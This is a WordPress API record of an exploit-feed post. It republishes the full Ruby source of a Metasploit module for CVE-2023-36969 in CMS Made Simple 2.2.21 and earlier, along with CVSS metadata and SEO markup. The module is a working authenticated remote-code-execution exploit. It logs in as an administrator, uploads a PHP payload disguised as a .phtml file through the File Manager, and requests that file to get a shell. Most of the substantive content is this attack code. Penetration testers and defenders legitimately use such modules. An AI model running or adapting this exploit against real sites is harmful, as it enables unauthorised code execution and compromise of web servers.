{"id":15132,"date":"2025-08-29T15:38:05","date_gmt":"2025-08-29T15:38:05","guid":{"rendered":"http:\/\/localhost\/?p=15132"},"modified":"2025-08-29T15:38:05","modified_gmt":"2025-08-29T15:38:05","slug":"cmsmadesimple-authenticated-file-manager-rce","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=15132","title":{"rendered":"CmsMadeSimple Authenticated File Manager RCE_MSF:EXPLOIT-MULTI-HTTP-CMSMS_FILE_MANAGER_AUTH_RCE-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:22:55&#8243;,&#8221;description&#8221;:&#8221;CMS Made Simple \\u0026lt;= v2.2.21 allows an authenticated administrator to upload files           with the .phar or .phtml extensions, enabling execution of PHP code          &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:39&#8243;,&#8221;modified&#8221;:&#8221;2025-03-28T18:50:03&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;CmsMadeSimple Authenticated File Manager RCE&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-HTTP-CMSMS_FILE_MANAGER_AUTH_RCE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-36969&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  include Msf::Exploit::Remote::HttpClient\\n  include Msf::Exploit::PhpEXE\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;CmsMadeSimple Authenticated File Manager RCE&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          CMS Made Simple \\u003c= v2.2.21 allows an authenticated administrator to upload files\\n          with the .phar or .phtml extensions, enabling execution of PHP code\\n          leading to RCE. The file can be executed by accessing its URL in the\\n          \/uploads\/ directory.\\n\\n          Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14.\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Okan Kurtulu\u015f&#8217;,\\t# Initial research\\n          &#8216;Mirabbas A\u011falarov&#8217;,\\t# EDB PoC\\n          &#8216;tastyrice&#8217;\\t# Metasploit Module\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2023-36969&#8217;],\\n          [&#8216;EDB&#8217;, &#8216;51600&#8217;]\\n        ],\\n        &#8216;Platform&#8217; =\\u003e [&#8216;php&#8217;],\\n        &#8216;Arch&#8217; =\\u003e ARCH_PHP,\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;Universal&#8217;, {}\\n          ]\\n        ],\\n        &#8216;Privileged&#8217; =\\u003e false,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2023-06-07&#8217;,\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS]\\n        }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base directory path for cmsms&#8217;, &#8216;\/&#8217;]),\\n        OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;Username to authenticate with&#8217;, &#8221;]),\\n        OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;Password to authenticate with&#8217;, &#8221;])\\n      ]\\n    )\\n  end\\n\\n  def multipart_form_data(uri, data, message)\\n    send_request_cgi(\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;admin&#8217;, uri),\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;data&#8217; =\\u003e data,\\n      &#8216;ctype&#8217; =\\u003e \\&#8221;multipart\/form-data; boundary=#{message.bound}\\&#8221;,\\n      &#8216;keep_cookies&#8217; =\\u003e true\\n    )\\n  end\\n\\n  def check\\n    res = send_request_cgi(\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8221;, &#8216;index.php&#8217;),\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n    )\\n    unless res \\u0026\\u0026 res.code == 200\\n      vprint_error(&#8216;Connection Failed&#8217;)\\n      return CheckCode::Unknown\\n    end\\n\\n    set_cookie = res.get_cookies\\n    return CheckCode::Safe unless set_cookie\\u0026.match?(\/^CMSSESSID\/)\\n\\n    html = res.get_html_document\\n    version = Rex::Version.new(html.at(&#8216;p.copyright-info&#8217;).text.scan(\/\\\\d+\\\\.\\\\d+\\\\.\\\\d+\/).first)\\n    vprint_status(\\&#8221;#{peer} &#8211; CMS Made Simple Version: #{version}\\&#8221;)\\n\\n    return CheckCode::Appears if version \\u003c= Rex::Version.new(&#8216;2.2.21&#8217;)\\n\\n    CheckCode::Detected\\n  end\\n\\n  def login\\n    data = {\\n      &#8216;username&#8217; =\\u003e datastore[&#8216;USERNAME&#8217;],\\n      &#8216;password&#8217; =\\u003e datastore[&#8216;PASSWORD&#8217;],\\n      &#8216;loginsubmit&#8217; =\\u003e &#8216;Submit&#8217;\\n    }\\n    res = send_request_cgi(\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;login.php&#8217;),\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;vars_post&#8217; =\\u003e data,\\n      &#8216;keep_cookies&#8217; =\\u003e true\\n    )\\n    fail_with(Failure::NoAccess, &#8216;Authentication was unsuccessful&#8217;) unless res\\u0026.code == 302 \\u0026\\u0026 cookie_jar.cookies \\u0026\\u0026 res.headers[&#8216;Location&#8217;] =~ %r{\/admin$}\\n\\n    store_valid_credential(user: datastore[&#8216;USERNAME&#8217;], private: datastore[&#8216;PASSWORD&#8217;])\\n    vprint_good(\\&#8221;#{peer} &#8211; Authentication was successful\\&#8221;)\\n  end\\n\\n  def send_file\\n    filename = \\&#8221;#{rand_text_alpha(8..12)}.phtml\\&#8221;\\n    c = cookie_jar.cookies.find { |cookie| cookie.name == &#8216;__c&#8217; }.value\\n    payload = get_write_exec_payload(unlink_self: true)\\n\\n    # create the message with payload\\n    message = Rex::MIME::Message.new\\n    message.add_part(&#8216;FileManager,m1_,upload,0&#8217;, nil, nil, &#8216;form-data; name=\\&#8221;mact\\&#8221;&#8216;)\\n    message.add_part(c, nil, nil, &#8216;form-data; name=\\&#8221;__c\\&#8221;&#8216;)\\n    message.add_part(&#8216;1&#8217;, nil, nil, &#8216;form-data; name=\\&#8221;disable_buffer\\&#8221;&#8216;)\\n    message.add_part(payload, nil, nil, \\&#8221;form-data; name=\\\\\\&#8221;m1_files[]\\\\\\&#8221;; filename=\\\\\\&#8221;#{filename}\\\\\\&#8221;\\&#8221;)\\n    data = message.to_s\\n\\n    # send payload\\n    payload_res = multipart_form_data(&#8216;moduleinterface.php&#8217;, data, message)\\n    fail_with(Failure::UnexpectedReply, &#8216;Failed to upload the file&#8217;) unless payload_res \\u0026\\u0026 payload_res.code == 200\\n    vprint_good(\\&#8221;#{peer} &#8211; File uploaded #{filename}\\&#8221;)\\n\\n    # open shell\\n    res = send_request_cgi(\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;uploads&#8217;, filename),\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n    )\\n    return unless res \\u0026\\u0026 res.code == 404\\n\\n    print_error(\\&#8221;Shell #{shell_name} not found\\&#8221;)\\n  end\\n\\n  def exploit\\n    login\\n    send_file\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/cmsms_file_manager_auth_rce.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/cmsms_file_manager_auth_rce\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:22:55&#8243;,&#8221;description&#8221;:&#8221;CMS Made Simple \\u0026lt;= v2.2.21 allows an authenticated administrator to upload files with the .phar or .phtml extensions, enabling execution of PHP code &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:39&#8243;,&#8221;modified&#8221;:&#8221;2025-03-28T18:50:03&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;CmsMadeSimple Authenticated&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,169,13,7,11,5],"class_list":["post-15132","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>CmsMadeSimple Authenticated File Manager RCE_MSF:EXPLOIT-MULTI-HTTP-CMSMS_FILE_MANAGER_AUTH_RCE- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=15132\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CmsMadeSimple Authenticated File Manager RCE_MSF:EXPLOIT-MULTI-HTTP-CMSMS_FILE_MANAGER_AUTH_RCE- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:22:55&#8243;,&#8221;description&#8221;:&#8221;CMS Made Simple u0026lt;= v2.2.21 allows an authenticated administrator to upload files with the .phar or .phtml extensions, enabling execution of PHP code &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:39&#8243;,&#8221;modified&#8221;:&#8221;2025-03-28T18:50:03&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;CmsMadeSimple Authenticated...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=15132\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-29T15:38:05+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15132#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15132\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"CmsMadeSimple Authenticated File Manager RCE_MSF:EXPLOIT-MULTI-HTTP-CMSMS_FILE_MANAGER_AUTH_RCE-\",\"datePublished\":\"2025-08-29T15:38:05+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15132\"},\"wordCount\":900,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.8\",\"exploit\",\"HIGH\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15132#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15132\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15132\",\"name\":\"CmsMadeSimple Authenticated File Manager RCE_MSF:EXPLOIT-MULTI-HTTP-CMSMS_FILE_MANAGER_AUTH_RCE- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-08-29T15:38:05+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15132#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15132\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15132#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CmsMadeSimple Authenticated File Manager RCE_MSF:EXPLOIT-MULTI-HTTP-CMSMS_FILE_MANAGER_AUTH_RCE-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CmsMadeSimple Authenticated File Manager RCE_MSF:EXPLOIT-MULTI-HTTP-CMSMS_FILE_MANAGER_AUTH_RCE- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=15132","og_locale":"en_US","og_type":"article","og_title":"CmsMadeSimple Authenticated File Manager RCE_MSF:EXPLOIT-MULTI-HTTP-CMSMS_FILE_MANAGER_AUTH_RCE- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:22:55&#8243;,&#8221;description&#8221;:&#8221;CMS Made Simple u0026lt;= v2.2.21 allows an authenticated administrator to upload files with the .phar or .phtml extensions, enabling execution of PHP code &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:39&#8243;,&#8221;modified&#8221;:&#8221;2025-03-28T18:50:03&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;CmsMadeSimple Authenticated...","og_url":"https:\/\/zero.redgem.net\/?p=15132","og_site_name":"zero redgem","article_published_time":"2025-08-29T15:38:05+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=15132#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=15132"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"CmsMadeSimple Authenticated File Manager RCE_MSF:EXPLOIT-MULTI-HTTP-CMSMS_FILE_MANAGER_AUTH_RCE-","datePublished":"2025-08-29T15:38:05+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=15132"},"wordCount":900,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.8","exploit","HIGH","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=15132#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=15132","url":"https:\/\/zero.redgem.net\/?p=15132","name":"CmsMadeSimple Authenticated File Manager RCE_MSF:EXPLOIT-MULTI-HTTP-CMSMS_FILE_MANAGER_AUTH_RCE- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-08-29T15:38:05+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=15132#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=15132"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=15132#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"CmsMadeSimple Authenticated File Manager RCE_MSF:EXPLOIT-MULTI-HTTP-CMSMS_FILE_MANAGER_AUTH_RCE-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15132","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=15132"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15132\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=15132"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=15132"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=15132"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}